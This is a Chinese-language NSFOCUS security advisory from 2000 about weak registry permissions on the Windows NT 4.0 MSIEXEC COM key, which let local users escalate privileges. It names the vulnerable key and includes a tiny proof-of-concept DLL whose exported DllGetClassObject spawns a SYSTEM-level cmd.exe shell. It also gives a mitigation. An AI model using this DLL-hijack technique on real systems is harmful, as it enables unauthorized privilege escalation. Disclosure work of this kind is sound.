首页 -> 安全研究

安全研究

安全漏洞
微软Windows NT 4.0 MSIEXEC注册表权限的漏洞

发布日期:2000-10-26
更新日期:2000-10-26

受影响系统:

Microsoft Windows NT 4.0
描述:

由于处理微软安装服务(MSIEXEC)的注册表键具有弱的权限设置,Windows NT中的
本地用户可能提升其权限级别。
与微软安装服务相关联的文件名后缀是*.msi。当一个*.msi文件被执行时,系统将读
取由如下注册表键所指定的DLL:
HKLM\Software\Classes\CLSID\{000C103E-0000-0000-C000-000000000046}\InProcServer32

默认的DLL是C:\winnt\system32\msi.dll。任何能够本地登录到系统的用户都
可以修改该键的值。如果恶意用户创建他们自己的DLL,在该DLL中引出函数
DllGetClassObject( ),并将该注册表键指向自己特殊构造的这个DLL而不是默
认的msi.dll,则他就能获得对系统的完全控制。

<* 来源:David Litchfield (mnemonix@globalnet.co.uk) *>



测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


插入到DLL中的如下代码将在用户执行某个MSI文件时提供具有SYSTEM特权的交互命令shell:

#include <stdio.h>

__declspec(dllexport)int DllGetClassObject()
{
    system("cmd.exe");
    return 0;
}



建议:

临时解决办法:

    NSFOCUS建议您设置注册表权限,确保只有管理员才能够修改该键值。

厂商补丁:

    暂无。

浏览次数:5958
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障